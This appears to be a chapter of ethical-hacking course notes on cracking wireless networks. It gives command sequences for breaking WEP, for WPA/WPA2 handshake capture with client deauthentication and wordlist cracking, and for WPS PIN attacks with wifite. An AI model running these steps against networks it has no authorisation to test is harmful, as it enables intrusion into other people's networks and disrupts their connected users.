

Chapter 16 - Hacking wireless networks

Practical-1 Cracking WEP:

```
--> iwconfig
--> sudo airmon-ng start Interfacename
--> sudo airodump-ng Monitered Interface name
--> sudo airodump-ng --bssid ACMAC> -c CN --write filepath with name> Interface name
```

Once the packet size got increased

```
--> sudo aircrack-ng Filename with Path
```

Practical-2 Cracking WPA/WPA2

```
sudo airmon-ng start Interfacename
sudo airodump-ng Interface name
sudo airodump-ng --bssid AM -c CN --write Filename with Path Interface name
sudo aireplay-ng --deauth 20 -a ACMAC -c Client Mac Interface name
sudo aircrack-ng -w Wordlist
```

Practical-3 Cracking WPS enabled with WPA/WPA2

```
sudo wifite --wps
Wait untill it identifies the networks
Control+c
Choose target
Wait untill it cracks the PIN
```
